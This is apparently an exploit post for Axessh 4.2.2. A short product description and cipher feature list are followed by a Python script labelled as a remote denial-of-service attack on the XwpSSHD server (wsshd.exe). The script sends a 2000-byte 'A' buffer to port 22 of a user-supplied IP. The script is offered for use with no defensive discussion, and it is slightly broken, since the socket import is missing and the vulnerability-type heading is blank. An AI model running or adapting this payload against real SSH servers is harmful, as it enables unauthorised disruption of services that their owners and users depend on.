Axessh 4.2.2

Axessh is a SSH client. It is a superb terminal emulator/telnet client for Windows. It provides SSH capabilities to Axessh without
sacrificing any of existing functionality. Furthermore, Axessh has been developed entirely outside of the USA, and can be sold
anywhere in the world (apart from places where people aren't allowed to own cryptographic software).

2. Axessh features include:
Compatible with SSH protocol version 2.0 (a SSH2-client based on OpenSSH 3.4)
Compatible with SSH protocol version 1.5
Ciphers(for the SSH1-client): 3DES, Blowfish, DES, RC4
Ciphers(for the SSH2-client): 3DES, Blowfish, CAST128, ARCFOUR, AES128, AES192, AES256-cbc
Authentication using password
Authentication RSA
Compression support
Connection forwarding, including full support for X-protocol connection forwarding
"Dynamic Forwarding" which provides other tasks on the same PC with requested port forwarding 

Vulnerability Type:

print "Axessh 4.2.2 XwpSSHD (wsshd.exe) Remote Denial Of Service"

ip = raw_input("[IP]> ")
port = 22
payload="A"*2000
s=socket.create_connection((ip,port))
s.send(payload)
